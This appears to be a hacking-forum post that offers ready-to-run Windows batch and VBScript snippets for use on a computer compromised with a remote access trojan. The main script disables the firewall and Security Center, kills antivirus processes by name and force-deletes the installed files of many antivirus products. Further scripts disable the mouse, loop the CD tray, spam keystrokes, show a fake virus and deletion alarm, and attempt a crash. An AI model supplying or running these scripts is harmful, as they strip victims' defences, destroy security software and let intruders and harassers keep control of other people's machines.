If you have a rat, then you would probably want to get rid of their Antivirus software. Here are a few DIfferent ways to do it.
Method #1
Code
@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --
Enter all of that into a notepad doc and save it as "(Anything).bat"
This should disable their Antivuris.
Stop their mouse from moving
Code
c:\windows\rundll.exe mouse,DISABLE
Save that again, as (anything).bat
note this isn't tested yet.
Open their disk trayy repeatedly
Code
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
end if
save this as (anything).VBS
.VBS NOT .BAT
If they have been REEEALLY bad---
Code
set wshShell =wscript.CreateObject ("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it again, as (ANYTHING).VBS
This makes their backspace press about 20 times a second.
On the other side, you can make their ENTER button press about 20 times a second.
Code
set wshShell= wscript.CreateObject("WScript.Shell")
do
WSCRIPT.sleep 100
wshshell.sendkeys "~(enter)"
loop
Fake "blue screen of death"
Code
@echo off
color 17
echo --
echo WARNING! A VIRUS HAS BEEN DETECTED ON YOUR COMPUTER!
pause
echo FILE RECOGNIZED AS SISDPYGnfg32.bat
pause
echo CONTACTING ANTIVIRUS...
pause
echo WOULD YOU LIKE TO DELETE THE VIRUS? (y/n)
pause
echo ANTIVIRUS HAS BEEN MANUALLY SHUT DOWN!
pause
echo VIRUS HAS PROGRESSED TO C:/ DRIVE!
pause
echo FILES IN C:/ WILL BE DELETED!
pause
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
echo PRESS ANY KEY TO PREVENT FILE DELETION!
pause
echo FILES IN C:/ DRIVE ARE BEING DELETED!
pause
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
dir/s
echo --
pause
echo JUST KIDDING! NOTHING HAS BEEN DELETED!
pause
echo --
echo DON'T BE MAD AT ME...
pause
Copy-paste that into notepad and save as (Anything).bat
Crash a comp with batch
[spoiler]
Code
@echo off
start/ cmd
pause
[/spoiler]
Thats it :P, just copy-paste it into batch, and call it (anything).bat
What you do with these are at your own risk.. THey can reall screw up somones computer. Again, AT YOUR OWN RISK
